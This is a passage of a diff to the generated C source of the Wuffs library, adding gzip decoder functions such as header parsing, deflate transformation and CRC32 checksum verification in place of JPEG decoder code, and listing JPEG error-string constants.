wuffs_base__status z = wuffs_deflate__decoder__initialize( ++ &self->private_data.f_flate, sizeof(self->private_data.f_flate), WUFFS_VERSION, options); ++ if (z.repr) { ++ return z; ++ } ++ } ++ self->private_impl.magic = WUFFS_BASE__MAGIC; ++ self->private_impl.vtable_for__wuffs_base__io_transformer.vtable_name = ++ wuffs_base__io_transformer__vtable_name; ++ self->private_impl.vtable_for__wuffs_base__io_transformer.function_pointers = ++ (const void*)(&wuffs_gzip__decoder__func_ptrs_for__wuffs_base__io_transformer); ++ return wuffs_base__make_status(NULL); ++} ++ ++wuffs_gzip__decoder* ++wuffs_gzip__decoder__alloc(void) { ++ wuffs_gzip__decoder* x = ++ (wuffs_gzip__decoder*)(calloc(1, sizeof(wuffs_gzip__decoder))); ++ if (!x) { ++ return NULL; ++ } ++ if (wuffs_gzip__decoder__initialize( ++ x, sizeof(wuffs_gzip__decoder), WUFFS_VERSION, WUFFS_INITIALIZE__ALREADY_ZEROED).repr) { ++ free(x); ++ return NULL; ++ } ++ return x; ++} ++ ++size_t ++sizeof__wuffs_gzip__decoder(void) { ++ return sizeof(wuffs_gzip__decoder); ++} ++ ++// ---------------- Function Implementations ++ ++// -------- func gzip.decoder.get_quirk ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC uint64_t ++wuffs_gzip__decoder__get_quirk( ++ const wuffs_gzip__decoder* self, ++ uint32_t a_key) { ++ if (!self) { ++ return 0; ++ } ++ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && ++ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { ++ return 0; ++ } ++ ++ if ((a_key == 1u) && self->private_impl.f_ignore_checksum) { ++ return 1u; ++ } ++ return 0u; ++} ++ ++// -------- func gzip.decoder.set_quirk ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__status ++wuffs_gzip__decoder__set_quirk( ++ wuffs_gzip__decoder* self, ++ uint32_t a_key, ++ uint64_t a_value) { ++ if (!self) { ++ return wuffs_base__make_status(wuffs_base__error__bad_receiver); ++ } ++ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { ++ return wuffs_base__make_status( ++ (self->private_impl.magic == WUFFS_BASE__DISABLED) ++ ? wuffs_base__error__disabled_by_previous_error ++ : wuffs_base__error__initialize_not_called); ++ } ++ ++ if (a_key == 1u) { ++ self->private_impl.f_ignore_checksum = (a_value > 0u); ++ return wuffs_base__make_status(NULL); ++ } ++ return wuffs_base__make_status(wuffs_base__error__unsupported_option); ++} ++ ++// -------- func gzip.decoder.dst_history_retain_length ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__optional_u63 ++wuffs_gzip__decoder__dst_history_retain_length( ++ const wuffs_gzip__decoder* self) { ++ if (!self) { ++ return wuffs_base__utility__make_optional_u63(false, 0u); ++ } ++ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && ++ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { ++ return wuffs_base__utility__make_optional_u63(false, 0u); ++ } ++ ++ return wuffs_base__utility__make_optional_u63(true, 0u); ++} ++ ++// -------- func gzip.decoder.workbuf_len ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__range_ii_u64 ++wuffs_gzip__decoder__workbuf_len( ++ const wuffs_gzip__decoder* self) { ++ if (!self) { ++ return wuffs_base__utility__empty_range_ii_u64(); ++ } ++ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && ++ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { ++ return wuffs_base__utility__empty_range_ii_u64(); ++ } ++ ++ return wuffs_base__utility__make_range_ii_u64(1u, 1u); ++} ++ ++// -------- func gzip.decoder.transform_io ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__status ++wuffs_gzip__decoder__transform_io( ++ wuffs_gzip__decoder* self, ++ wuffs_base__io_buffer* a_dst, ++ wuffs_base__io_buffer* a_src, ++ wuffs_base__slice_u8 a_workbuf) { + if (!self) { + return wuffs_base__make_status(wuffs_base__error__bad_receiver); + } +@@ -43525,65 +43930,41 @@ wuffs_jpeg__decoder__decode_frame( + return wuffs_base__make_status(wuffs_base__error__bad_argument); + } + if ((self->private_impl.active_coroutine != 0) && +- (self->private_impl.active_coroutine != 3)) { ++ (self->private_impl.active_coroutine != 1)) { + self->private_impl.magic = WUFFS_BASE__DISABLED; + return wuffs_base__make_status(wuffs_base__error__interleaved_coroutine_calls); + } + self->private_impl.active_coroutine = 0; + wuffs_base__status status = wuffs_base__make_status(NULL); + +- wuffs_base__status v_ddf_status = wuffs_base__make_status(NULL); +- wuffs_base__status v_swizzle_status = wuffs_base__make_status(NULL); +- uint32_t v_scan_count = 0; ++ wuffs_base__status v_status = wuffs_base__make_status(NULL); + +- uint32_t coro_susp_point = self->private_impl.p_decode_frame[0]; ++ uint32_t coro_susp_point = self->private_impl.p_transform_io; + switch (coro_susp_point) { + WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; + + while (true) { +- v_scan_count = self->private_impl.f_scan_count; + { +- wuffs_base__status t_0 = wuffs_jpeg__decoder__do_decode_frame(self, +- a_dst, +- a_src, +- a_blend, +- a_workbuf, +- a_opts); +- v_ddf_status = t_0; +- } +- if ((v_ddf_status.repr == wuffs_base__suspension__short_read) && (a_src && a_src->meta.closed)) { +- v_ddf_status = wuffs_base__make_status(wuffs_jpeg__error__truncated_input); ++ wuffs_base__status t_0 = wuffs_gzip__decoder__do_transform_io(self, a_dst, a_src, a_workbuf); ++ v_status = t_0; + } +- if (wuffs_base__status__is_error(&v_ddf_status) || (v_scan_count < self->private_impl.f_scan_count)) { +- if (self->private_impl.f_sof_marker >= 194u) { +- wuffs_jpeg__decoder__apply_progressive_idct(self, a_workbuf); +- } +- if (self->private_impl.f_num_components == 1u) { +- v_swizzle_status = wuffs_jpeg__decoder__swizzle_gray(self, a_dst, a_workbuf); +- } else { +- v_swizzle_status = wuffs_jpeg__decoder__swizzle_colorful(self, a_dst, a_workbuf); +- } +- if (wuffs_base__status__is_error(&v_ddf_status)) { +- status = v_ddf_status; +- goto exit; +- } else if (wuffs_base__status__is_error(&v_swizzle_status)) { +- status = v_swizzle_status; +- goto exit; +- } ++ if ((v_status.repr == wuffs_base__suspension__short_read) && (a_src && a_src->meta.closed)) { ++ status = wuffs_base__make_status(wuffs_gzip__error__truncated_input); ++ goto exit; + } +- status = v_ddf_status; ++ status = v_status; + WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(1); + } + + ok: +- self->private_impl.p_decode_frame[0] = 0; ++ self->private_impl.p_transform_io = 0; + goto exit; + } + + goto suspend; + suspend: +- self->private_impl.p_decode_frame[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; +- self->private_impl.active_coroutine = wuffs_base__status__is_suspension(&status) ? 3 : 0; ++ self->private_impl.p_transform_io = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ self->private_impl.active_coroutine = wuffs_base__status__is_suspension(&status) ? 1 : 0; + + goto exit; + exit: +@@ -43593,24 +43974,40 @@ wuffs_jpeg__decoder__decode_frame( + return status; + } + +-// -------- func jpeg.decoder.do_decode_frame ++// -------- func gzip.decoder.do_transform_io + + WUFFS_BASE__GENERATED_C_CODE + static wuffs_base__status +-wuffs_jpeg__decoder__do_decode_frame( +- wuffs_jpeg__decoder* self, +- wuffs_base__pixel_buffer* a_dst, ++wuffs_gzip__decoder__do_transform_io( ++ wuffs_gzip__decoder* self, ++ wuffs_base__io_buffer* a_dst, + wuffs_base__io_buffer* a_src, +- wuffs_base__pixel_blend a_blend, +- wuffs_base__slice_u8 a_workbuf, +- wuffs_base__decode_frame_options* a_opts) { ++ wuffs_base__slice_u8 a_workbuf) { + wuffs_base__status status = wuffs_base__make_status(NULL); + +- uint32_t v_pixfmt = 0; ++ uint8_t v_c8 = 0; ++ uint8_t v_flags = 0; ++ uint16_t v_xlen = 0; ++ uint64_t v_mark = 0; ++ uint32_t v_checksum_have = 0; ++ uint32_t v_decoded_length_have = 0; + wuffs_base__status v_status = wuffs_base__make_status(NULL); +- uint8_t v_c = 0; +- uint8_t v_marker = 0; ++ uint32_t v_checksum_want = 0; ++ uint32_t v_decoded_length_want = 0; + ++ uint8_t* iop_a_dst = NULL; ++ uint8_t* io0_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ uint8_t* io1_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ uint8_t* io2_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ if (a_dst && a_dst->data.ptr) { ++ io0_a_dst = a_dst->data.ptr; ++ io1_a_dst = io0_a_dst + a_dst->meta.wi; ++ iop_a_dst = io1_a_dst; ++ io2_a_dst = io0_a_dst + a_dst->data.len; ++ if (a_dst->meta.closed) { ++ io2_a_dst = iop_a_dst; ++ } ++ } + const uint8_t* iop_a_src = NULL; + const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; + const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +@@ -43622,236 +44019,269 @@ wuffs_jpeg__decoder__do_decode_frame( + io2_a_src = io0_a_src + a_src->meta.wi; + } + +- uint32_t coro_susp_point = self->private_impl.p_do_decode_frame[0]; ++ uint32_t coro_susp_point = self->private_impl.p_do_transform_io; + if (coro_susp_point) { +- v_marker = self->private_data.s_do_decode_frame[0].v_marker; ++ v_flags = self->private_data.s_do_transform_io.v_flags; ++ v_checksum_have = self->private_data.s_do_transform_io.v_checksum_have; ++ v_decoded_length_have = self->private_data.s_do_transform_io.v_decoded_length_have; ++ v_checksum_want = self->private_data.s_do_transform_io.v_checksum_want; + } + switch (coro_susp_point) { + WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; + +- if (self->private_impl.f_call_sequence == 64u) { +- } else if (self->private_impl.f_call_sequence < 64u) { +- if (a_src) { +- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); +- } ++ { + WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); +- status = wuffs_jpeg__decoder__do_decode_frame_config(self, NULL, a_src); +- if (a_src) { +- iop_a_src = a_src->data.ptr + a_src->meta.ri; ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; + } +- if (status.repr) { ++ uint8_t t_0 = *iop_a_src++; ++ v_c8 = t_0; ++ } ++ if (v_c8 != 31u) { ++ status = wuffs_base__make_status(wuffs_gzip__error__bad_header); ++ goto exit; ++ } ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); + goto suspend; + } +- } else { +- status = wuffs_base__make_status(wuffs_base__note__end_of_data); +- goto ok; ++ uint8_t t_1 = *iop_a_src++; ++ v_c8 = t_1; + } +- v_pixfmt = 536870920u; +- if (self->private_impl.f_num_components > 1u) { +- v_pixfmt = 2415954056u; ++ if (v_c8 != 139u) { ++ status = wuffs_base__make_status(wuffs_gzip__error__bad_header); ++ goto exit; + } +- v_status = wuffs_base__pixel_swizzler__prepare(&self->private_impl.f_swizzler, +- wuffs_base__pixel_buffer__pixel_format(a_dst), +- wuffs_base__pixel_buffer__palette_or_else(a_dst, wuffs_base__make_slice_u8(self->private_data.f_dst_palette, 1024)), +- wuffs_base__utility__make_pixel_format(v_pixfmt), +- wuffs_base__utility__empty_slice_u8(), +- a_blend); +- if ( ! wuffs_base__status__is_ok(&v_status)) { +- status = v_status; +- if (wuffs_base__status__is_error(&status)) { +- goto exit; +- } else if (wuffs_base__status__is_suspension(&status)) { +- status = wuffs_base__make_status(wuffs_base__error__cannot_return_a_suspension); +- goto exit; ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; + } +- goto ok; ++ uint8_t t_2 = *iop_a_src++; ++ v_c8 = t_2; + } +- if (self->private_impl.f_components_workbuf_offsets[8u] > ((uint64_t)(a_workbuf.len))) { +- status = wuffs_base__make_status(wuffs_base__error__bad_workbuf_length); ++ if (v_c8 != 8u) { ++ status = wuffs_base__make_status(wuffs_gzip__error__bad_compression_method); + goto exit; +- } else if (self->private_impl.f_components_workbuf_offsets[4u] < self->private_impl.f_components_workbuf_offsets[8u]) { +- wuffs_base__bulk_memset(a_workbuf.ptr + self->private_impl.f_components_workbuf_offsets[4u], (self->private_impl.f_components_workbuf_offsets[8u] - self->private_impl.f_components_workbuf_offsets[4u]), 0u); + } +- if (self->private_impl.f_components_workbuf_offsets[4u] <= ((uint64_t)(a_workbuf.len))) { +- wuffs_base__bulk_memset(a_workbuf.ptr, self->private_impl.f_components_workbuf_offsets[4u], 128u); ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_3 = *iop_a_src++; ++ v_flags = t_3; + } +- while (true) { ++ self->private_data.s_do_transform_io.scratch = 6u; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(5); ++ if (self->private_data.s_do_transform_io.scratch > ((uint64_t)(io2_a_src - iop_a_src))) { ++ self->private_data.s_do_transform_io.scratch -= ((uint64_t)(io2_a_src - iop_a_src)); ++ iop_a_src = io2_a_src; ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ iop_a_src += self->private_data.s_do_transform_io.scratch; ++ if (((uint8_t)(v_flags & 4u)) != 0u) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(6); ++ uint16_t t_4; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 2)) { ++ t_4 = wuffs_base__peek_u16le__no_bounds_check(iop_a_src); ++ iop_a_src += 2; ++ } else { ++ self->private_data.s_do_transform_io.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(7); ++ while (true) { ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint64_t* scratch = &self->private_data.s_do_transform_io.scratch; ++ uint32_t num_bits_4 = ((uint32_t)(*scratch >> 56)); ++ *scratch <<= 8; ++ *scratch >>= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_4; ++ if (num_bits_4 == 8) { ++ t_4 = ((uint16_t)(*scratch)); ++ break; ++ } ++ num_bits_4 += 8u; ++ *scratch |= ((uint64_t)(num_bits_4)) << 56; ++ } ++ } ++ v_xlen = t_4; ++ } ++ self->private_data.s_do_transform_io.scratch = ((uint32_t)(v_xlen)); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(8); ++ if (self->private_data.s_do_transform_io.scratch > ((uint64_t)(io2_a_src - iop_a_src))) { ++ self->private_data.s_do_transform_io.scratch -= ((uint64_t)(io2_a_src - iop_a_src)); ++ iop_a_src = io2_a_src; ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ iop_a_src += self->private_data.s_do_transform_io.scratch; ++ } ++ if (((uint8_t)(v_flags & 8u)) != 0u) { + while (true) { + { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(9); + if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { + status = wuffs_base__make_status(wuffs_base__suspension__short_read); + goto suspend; + } +- uint8_t t_0 = *iop_a_src++; +- v_c = t_0; ++ uint8_t t_5 = *iop_a_src++; ++ v_c8 = t_5; + } +- if (v_c == 255u) { ++ if (v_c8 == 0u) { + break; + } + } ++ } ++ if (((uint8_t)(v_flags & 16u)) != 0u) { + while (true) { + { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(10); + if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { + status = wuffs_base__make_status(wuffs_base__suspension__short_read); + goto suspend; + } +- uint8_t t_1 = *iop_a_src++; +- v_c = t_1; ++ uint8_t t_6 = *iop_a_src++; ++ v_c8 = t_6; + } +- if (v_c != 255u) { +- v_marker = v_c; ++ if (v_c8 == 0u) { + break; + } + } +- if (v_marker == 0u) { +- continue; +- } else if ((208u <= v_marker) && (v_marker <= 217u)) { +- if (v_marker <= 215u) { +- continue; ++ } ++ if (((uint8_t)(v_flags & 2u)) != 0u) { ++ self->private_data.s_do_transform_io.scratch = 2u; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(11); ++ if (self->private_data.s_do_transform_io.scratch > ((uint64_t)(io2_a_src - iop_a_src))) { ++ self->private_data.s_do_transform_io.scratch -= ((uint64_t)(io2_a_src - iop_a_src)); ++ iop_a_src = io2_a_src; ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ iop_a_src += self->private_data.s_do_transform_io.scratch; ++ } ++ if (((uint8_t)(v_flags & 224u)) != 0u) { ++ status = wuffs_base__make_status(wuffs_gzip__error__bad_encoding_flags); ++ goto exit; ++ } ++ while (true) { ++ v_mark = ((uint64_t)(iop_a_dst - io0_a_dst)); ++ { ++ if (a_dst) { ++ a_dst->meta.wi = ((size_t)(iop_a_dst - a_dst->data.ptr)); + } +- } else { +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); +- uint32_t t_2; +- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 2)) { +- t_2 = ((uint32_t)(wuffs_base__peek_u16be__no_bounds_check(iop_a_src))); +- iop_a_src += 2; +- } else { +- self->private_data.s_do_decode_frame[0].scratch = 0; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(5); +- while (true) { +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint64_t* scratch = &self->private_data.s_do_decode_frame[0].scratch; +- uint32_t num_bits_2 = ((uint32_t)(*scratch & 0xFFu)); +- *scratch >>= 8; +- *scratch <<= 8; +- *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_2); +- if (num_bits_2 == 8) { +- t_2 = ((uint32_t)(*scratch >> 48)); +- break; +- } +- num_bits_2 += 8u; +- *scratch |= ((uint64_t)(num_bits_2)); +- } +- } +- self->private_impl.f_payload_length = t_2; ++ if (a_src) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); + } +- if (self->private_impl.f_payload_length < 2u) { +- status = wuffs_base__make_status(wuffs_jpeg__error__bad_marker); +- goto exit; ++ wuffs_base__status t_7 = wuffs_deflate__decoder__transform_io(&self->private_data.f_flate, a_dst, a_src, a_workbuf); ++ v_status = t_7; ++ if (a_dst) { ++ iop_a_dst = a_dst->data.ptr + a_dst->meta.wi; ++ } ++ if (a_src) { ++ iop_a_src = a_src->data.ptr + a_src->meta.ri; + } +- self->private_impl.f_payload_length -= 2u; + } +- if (v_marker < 192u) { +- status = wuffs_base__make_status(wuffs_jpeg__error__unsupported_marker); +- goto exit; +- } else if (v_marker < 208u) { +- if (v_marker == 196u) { +- if (a_src) { +- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); +- } +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(6); +- status = wuffs_jpeg__decoder__decode_dht(self, a_src); +- if (a_src) { +- iop_a_src = a_src->data.ptr + a_src->meta.ri; +- } +- if (status.repr) { ++ if ( ! self->private_impl.f_ignore_checksum) { ++ v_checksum_have = wuffs_crc32__ieee_hasher__update_u32(&self->private_data.f_checksum, wuffs_private_impl__io__since(v_mark, ((uint64_t)(iop_a_dst - io0_a_dst)), io0_a_dst)); ++ v_decoded_length_have += ((uint32_t)(wuffs_private_impl__io__count_since(v_mark, ((uint64_t)(iop_a_dst - io0_a_dst))))); ++ } ++ if (wuffs_base__status__is_ok(&v_status)) { ++ break; ++ } ++ status = v_status; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(12); ++ } ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(13); ++ uint32_t t_8; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { ++ t_8 = wuffs_base__peek_u32le__no_bounds_check(iop_a_src); ++ iop_a_src += 4; ++ } else { ++ self->private_data.s_do_transform_io.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(14); ++ while (true) { ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); + goto suspend; + } +- continue; +- } else if (v_marker == 200u) { +- status = wuffs_base__make_status(wuffs_jpeg__error__unsupported_marker); +- goto exit; +- } +- status = wuffs_base__make_status(wuffs_jpeg__error__bad_sof_marker); +- goto exit; +- } else if (v_marker < 224u) { +- if (v_marker < 217u) { +- status = wuffs_base__make_status(wuffs_jpeg__error__bad_marker); +- goto exit; +- } else if (v_marker == 217u) { +- break; +- } else if (v_marker == 218u) { +- if (a_src) { +- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); +- } +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(7); +- status = wuffs_jpeg__decoder__decode_sos(self, a_src, a_workbuf); +- if (a_src) { +- iop_a_src = a_src->data.ptr + a_src->meta.ri; ++ uint64_t* scratch = &self->private_data.s_do_transform_io.scratch; ++ uint32_t num_bits_8 = ((uint32_t)(*scratch >> 56)); ++ *scratch <<= 8; ++ *scratch >>= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_8; ++ if (num_bits_8 == 24) { ++ t_8 = ((uint32_t)(*scratch)); ++ break; + } +- if (status.repr) { ++ num_bits_8 += 8u; ++ *scratch |= ((uint64_t)(num_bits_8)) << 56; ++ } ++ } ++ v_checksum_want = t_8; ++ } ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(15); ++ uint32_t t_9; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { ++ t_9 = wuffs_base__peek_u32le__no_bounds_check(iop_a_src); ++ iop_a_src += 4; ++ } else { ++ self->private_data.s_do_transform_io.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(16); ++ while (true) { ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); + goto suspend; + } +- continue; +- } else if (v_marker == 219u) { +- if (a_src) { +- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); +- } +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(8); +- status = wuffs_jpeg__decoder__decode_dqt(self, a_src); +- if (a_src) { +- iop_a_src = a_src->data.ptr + a_src->meta.ri; +- } +- if (status.repr) { +- goto suspend; +- } +- continue; +- } else if (v_marker == 221u) { +- if (a_src) { +- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); +- } +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(9); +- status = wuffs_jpeg__decoder__decode_dri(self, a_src); +- if (a_src) { +- iop_a_src = a_src->data.ptr + a_src->meta.ri; +- } +- if (status.repr) { +- goto suspend; ++ uint64_t* scratch = &self->private_data.s_do_transform_io.scratch; ++ uint32_t num_bits_9 = ((uint32_t)(*scratch >> 56)); ++ *scratch <<= 8; ++ *scratch >>= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_9; ++ if (num_bits_9 == 24) { ++ t_9 = ((uint32_t)(*scratch)); ++ break; + } +- continue; +- } else { +- status = wuffs_base__make_status(wuffs_jpeg__error__unsupported_marker); +- goto exit; +- } +- } else if (v_marker < 240u) { +- } else { +- if (v_marker == 254u) { +- } else { +- status = wuffs_base__make_status(wuffs_jpeg__error__unsupported_marker); +- goto exit; ++ num_bits_9 += 8u; ++ *scratch |= ((uint64_t)(num_bits_9)) << 56; + } + } +- self->private_data.s_do_decode_frame[0].scratch = self->private_impl.f_payload_length; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(10); +- if (self->private_data.s_do_decode_frame[0].scratch > ((uint64_t)(io2_a_src - iop_a_src))) { +- self->private_data.s_do_decode_frame[0].scratch -= ((uint64_t)(io2_a_src - iop_a_src)); +- iop_a_src = io2_a_src; +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- iop_a_src += self->private_data.s_do_decode_frame[0].scratch; +- self->private_impl.f_payload_length = 0u; ++ v_decoded_length_want = t_9; ++ } ++ if ( ! self->private_impl.f_ignore_checksum && ((v_checksum_have != v_checksum_want) || (v_decoded_length_have != v_decoded_length_want))) { ++ status = wuffs_base__make_status(wuffs_gzip__error__bad_checksum); ++ goto exit; + } +- self->private_impl.f_call_sequence = 96u; + + ok: +- self->private_impl.p_do_decode_frame[0] = 0; ++ self->private_impl.p_do_transform_io = 0; + goto exit; + } + + goto suspend; + suspend: +- self->private_impl.p_do_decode_frame[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; +- self->private_data.s_do_decode_frame[0].v_marker = v_marker; ++ self->private_impl.p_do_transform_io = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ self->private_data.s_do_transform_io.v_flags = v_flags; ++ self->private_data.s_do_transform_io.v_checksum_have = v_checksum_have; ++ self->private_data.s_do_transform_io.v_decoded_length_have = v_decoded_length_have; ++ self->private_data.s_do_transform_io.v_checksum_want = v_checksum_want; + + goto exit; + exit: ++ if (a_dst && a_dst->data.ptr) { ++ a_dst->meta.wi = ((size_t)(iop_a_dst - a_dst->data.ptr)); ++ } + if (a_src && a_src->data.ptr) { + a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); + } +@@ -43859,891 +44289,398 @@ wuffs_jpeg__decoder__do_decode_frame( + return status; + } + +-// -------- func jpeg.decoder.decode_dht ++#endif // !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__GZIP) + +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_jpeg__decoder__decode_dht( +- wuffs_jpeg__decoder* self, +- wuffs_base__io_buffer* a_src) { +- wuffs_base__status status = wuffs_base__make_status(NULL); ++#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__JPEG) + +- uint8_t v_c = 0; +- uint8_t v_tc = 0; +- uint8_t v_th = 0; +- uint8_t v_tc4_th = 0; +- uint32_t v_working_total_count = 0; +- uint32_t v_total_count = 0; +- uint32_t v_i = 0; +- bool v_failed = false; ++// ---------------- Status Codes Implementations + +- const uint8_t* iop_a_src = NULL; +- const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- if (a_src && a_src->data.ptr) { +- io0_a_src = a_src->data.ptr; +- io1_a_src = io0_a_src + a_src->meta.ri; +- iop_a_src = io1_a_src; +- io2_a_src = io0_a_src + a_src->meta.wi; +- } ++const char wuffs_jpeg__error__bad_dht_marker[] = "#jpeg: bad DHT marker"; ++const char wuffs_jpeg__error__bad_dqt_marker[] = "#jpeg: bad DQT marker"; ++const char wuffs_jpeg__error__bad_dri_marker[] = "#jpeg: bad DRI marker"; ++const char wuffs_jpeg__error__bad_sof_marker[] = "#jpeg: bad SOF marker"; ++const char wuffs_jpeg__error__bad_sos_marker[] = "#jpeg: bad SOS marker"; ++const char wuffs_jpeg__error__bad_header[] = "#jpeg: bad header"; ++const char wuffs_jpeg__error__bad_marker[] = "#jpeg: bad marker"; ++const char wuffs_jpeg__error__bad_scan_count[] = "#jpeg: bad scan count"; ++const char wuffs_jpeg__error__missing_huffman_table[] = "#jpeg: missing Huffman table"; ++const char wuffs_jpeg__error__missing_quantization_table[] = "#jpeg: missing Quantization table"; ++const char wuffs_jpeg__error__rejected_progressive_jpeg[] = "#jpeg: rejected progressive JPEG"; ++const char wuffs_jpeg__error__truncated_input[] = "#jpeg: truncated input"; ++const char wuffs_jpeg__error__unsupported_arithmetic_coding[] = "#jpeg: unsupported arithmetic coding"; ++const char wuffs_jpeg__error__unsupported_color_model[] = "#jpeg: unsupported color model"; ++const char wuffs_jpeg__error__unsupported_fractional_sampling[] = "#jpeg: unsupported fractional sampling"; ++const char wuffs_jpeg__error__unsupported_hierarchical_coding[] = "#jpeg: unsupported hierarchical coding"; ++const char wuffs_jpeg__error__unsupported_implicit_height[] = "#jpeg: unsupported implicit height"; ++const char wuffs_jpeg__error__unsupported_lossless_coding[] = "#jpeg: unsupported lossless coding"; ++const char wuffs_jpeg__error__unsupported_marker[] = "#jpeg: unsupported marker"; ++const char wuffs_jpeg__error__unsupported_precision_12_bits[] = "#jpeg: unsupported precision (12 bits)"; ++const char wuffs_jpeg__error__unsupported_precision_16_bits[] = "#jpeg: unsupported precision (16 bits)"; ++const char wuffs_jpeg__error__unsupported_precision[] = "#jpeg: unsupported precision"; ++const char wuffs_jpeg__error__unsupported_scan_count[] = "#jpeg: unsupported scan count"; ++const char wuffs_jpeg__error__internal_error_inconsistent_decoder_state[] = "#jpeg: 